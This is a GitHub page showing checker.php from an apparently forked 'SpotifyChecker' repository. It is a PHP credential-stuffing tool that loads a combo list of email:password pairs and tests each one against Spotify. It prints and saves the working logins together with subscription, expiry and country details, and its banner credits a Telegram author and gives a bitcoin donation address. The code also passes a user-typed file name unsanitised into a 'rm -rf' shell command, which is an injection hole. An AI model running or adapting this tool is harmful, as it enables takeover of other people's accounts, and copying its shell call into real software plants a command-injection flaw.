forked from jaynammodi/SpotifyChecker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchecker.php
191 lines (172 loc) · 6.48 KB
/
checker.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
<?php
/*
* Created by @Voldemort1912
* Last Update: 28/03/2019
* Time: 1330
* Telegram @hewhomustnotbenamed
*/
// DO NOT MODIFY!! I WILL NOT BE RESPONSIBLE FOR ANY KIND OF MODIFICATIONS WHICH HINDER THE FUNCTIONABILITY OF THE PROGRAM!!!
$loc_ver = trim(file_get_contents('.version'));
//FIRST RUN (Install Dependencies)
if (is_file(".first")){
$firstrun = trim(file_get_contents('.first'));
}else{
$firstrun = true;
}
if ($firstrun == 'true'){
echo "\033[01;32;1m[i] First Run Detected... Installing Dependencies.....";
echo "\n[i] This Might Take a While! PLEASE DO NOT EXIT THE PROGRAM!...\n";
sleep(1);
echo "[#####";
sleep(2);
echo "##";
sleep(1);
echo "###";
system('apt install curl python python2 figlet -y > /dev/null 2> /dev/null');
for ($i=0; $i<15; $i++){
echo "#";
sleep(1);
};
echo "]";
sleep(3);
echo "\n[i] The Dependencies Have Been Installed Successfully!!";
echo "\n[i] The Program has Been Installed Successfully!";
echo "\n[i] Initiating Setup!!";
sleep(3);
echo "\n\033[51;33;1m[i] Show Only Hits ?? Type \033[01;32;1m'yes'\033[51;33;1m/\033[01;31m'no'\033[51;33;1m : \033[0m ";
$conhan = fgets(fopen("php://stdin", "rb"));
if (trim($conhan) == 'yes'){
file_put_contents('.pref', '1'); //Hitsonly
} else {
file_put_contents('.pref', '0'); //all
}
echo "\n[i] Please Restart the Program to See the Changes";
echo "\n[i] Press Enter to Exit...";
fgetc(STDIN);
file_put_contents('.first','false');
exit;
}
echo "\033[01;31m";
system("figlet -c 'Spotify Checker'");
echo"\033[0m";
sleep(2);
echo "\n\n
\033[01;31m[•]v".$loc_ver." Developed by \033[01;32;1m@hewhomustn0tbenamed\033[01;31m (Telegram).\n";
sleep(3);
echo "\033[01;31m[•]You're Responsible For your Actions. Use Wisely.\n";
sleep(1);
echo "[•]Join \033[01;32;1m@VoldemortCommunity (Telegram)\033[01;31m for More!.\n";
sleep(0.8);
echo "[•]Huge Thanks to @DrWean for His Outdated GitHub Repo.\n";
sleep(0.8);
echo "[•]Thank You to all the Testers!! and StackOverflow.\n\033[0m";
sleep(2);
include ('class.spotify.php');
if(is_file('.pref')){
$hitpref = trim(file_get_contents('.pref'));
} else {
$hitpref = '0';
}
//Check Updates
$glo_ver = trim(file_get_contents('https://raw.githubusercontent.com/VoldemortCommunity/SpotifyChecker/master/.version'));
$loc_ver = trim(file_get_contents('.version'));
if($glo_ver > $loc_ver){
echo "\033[01;32;1m[i] Update Available!!\n";
$changes = file_get_contents("https://raw.githubusercontent.com/VoldemortCommunity/SpotifyChecker/master/.changelog");
echo "[i] Changelog : \n".$changes;
sleep(5);
echo "\n\033[51;33;1m[i] Do you Want to Update to v".$glo_ver."?? Type \033[01;32;1m'yes'\033[51;33;1m to Continue :\033[0m ";
$updatehandle = fopen("php://stdin", "rb");
$ln = fgets($updatehandle);
if (trim($ln) == 'yes'){
echo "\033[05;32;1m[i] Updating Now...\n[i] Press Enter to Start...\033[0m";
fgetc(STDIN);
system('git reset --hard');
system('git pull origin master');
echo "\033[01;32;1m[i] Update Complete!! Please Restart to see Changes!!";
echo "\n[i] Press Enter to Continue...";
fgetc(STDIN);
exit;
}
} else {
echo "[i] You're Already on the Latest Version!! Cheers!";
}
//Warning
echo "\n\033[51;33;1m[i]Are You Sure You Want To Do This? Type \033[01;32;1m'yes'\033[51;33;1m to Continue :\033[0m ";
$warnhandle = fopen("php://stdin", "rb");
$ln = fgets($warnhandle);
if (trim($ln) !== 'yes'){
echo "\033[05;31m[i]ABORT.\n[i]The Program will Now Exit!!\n[i]Press Enter to Continue...\033[0m";
fgetc(STDIN);
exit;
}
//Get ComboList
echo "\n\033[01;32;1m[i]Enter Combo List Name : \033[0m";
$combohandle = fopen("php://stdin", "r");
$inpnam = trim(fgets($combohandle));
if(strpos($inpnam, ".txt") == false){
$inpnam .= ".txt";
}
if(!is_file($inpnam)){
echo "\n\033[05;31m[i]ABORT.\n[i]The File ".$inpnam." does Not Exist!!\n[i]The Program will Now Exit!!\n[i]Press Enter to Continue...\033[0m";
fgetc(STDIN);
exit;
}
$lines = file(trim($inpnam));
/*//get ComboList Type
echo "\n \n\033[01;32;1m[i]Enter Combo List Type:\n \n[1] Email:Password\n \n[2] Username:Password\n \nResponse[1/2]:\033[0m ";
$comtype = fgets(fopen("php://stdin", "r"));
if (trim($comtype) == '2'){
echo "\n\033[05;31m[i]ABORT.\n[i]This Feature Has Been Discontinued.\n[i]Contact \033[01;32;1m@hewhomustn0tbenamed\033[01;31m (Telegram) for Details.\n[i]The Program will Now Exit!!\n[i]Press Enter to Continue...\033[0m";
fgetc(STDIN);
exit;
}*/
//Saving Hits
echo "\n\033[51;33;1m[i] Enter File Name to Save Hits : \033[0m";
$handle3 = fopen("php://stdin", "rb");
$file = trim(fgets($handle3));
if(strpos($file, ".txt") == false){
$file .= ".txt";
}
system('rm -rf '.$file);
file_put_contents($file, "[#] Spotify Checker v".$loc_ver."\n[#] Made by @hewhomustn0tbenamed (Telegram)\n[#] GitHub: https://github.com/VoldemortCommunity\n\n[#] Feeling Generous? Donate: 3QheChfSnPqBVBsnm1DFYg9xoHQmbnXP6d [BTC]\n\n\n");
$count = 0;
$combocount = 0;
//Starting
echo "Press Enter to Continue...";
fgetc(STDIN);
echo "\n\033[01;32;1m[i]Let's Begin...\n";
echo "\033[51;033;1m[i]Press Ctrl+C or Tap and Hold ~> More ~> Kill Process to Exit before The Execution Completes!\033[0m\n\n\n";
$spotify = new spotify();
foreach((array) $lines as $line) {
$var = explode(':', $line);
$usernn = trim($var[0]);
$inppass = trim($var[1]);
$res = $spotify->check($usernn, $inppass, 2);
$dec = json_decode($res, true);
if($dec["status"]==true){
$count++;
echo "\033[01;32;1m";
} else {
echo "\033[01;31m";
}
if ($dec['status'] == true){
echo "[!] Email ID : " . $usernn . "\n";
echo "[!] Password : " . $inppass . "\n";
echo "[!] Subscription : " . $dec['subscription'] . "\n";
echo "[!] Validity : " . $dec['expdate'] . "\n";
echo "[!] Country : " . $dec['ip'] . "\n\n\n\033[0m";
file_put_contents($file, "[!] Email ID : ".$usernn."\n[!] Password : ".$inppass."\n[!] Subscription : " . $dec['subscription'] . "\n[!] Validity : " . $dec['expdate'] . "\n[!] Country : " . $dec['ip'] . "\n[i] SpotifyChecker by @hewhomustn0tbenamed (Telegram)!!\n\n", FILE_APPEND);
} else if($hitpref == '0'){
echo "[!] Email ID : " . $usernn . "\n";
echo "[!] Password : " . $inppass . "\n";
echo "[!] Invalid Account! \n";
echo "[!] " . $dec['error'] . "\n\n\n\033[0m";
}
$combocount++;
}
//End Program
echo "\n\n\n\033[01;32;1m[i] The Program has Executed Successfully!!\n[i] Combos Checked : ".$combocount."\n[i] Hits Found : ".$count."\n[i] Hits have been Saved to ".$file."\n[i] Spotify Checker by @hewhomustn0tbenamed!!\n\n PEACE!!🖖\n ";
echo "\n\033[0m[i] Press Enter to Continue!! ";
fgetc(STDIN);
exit;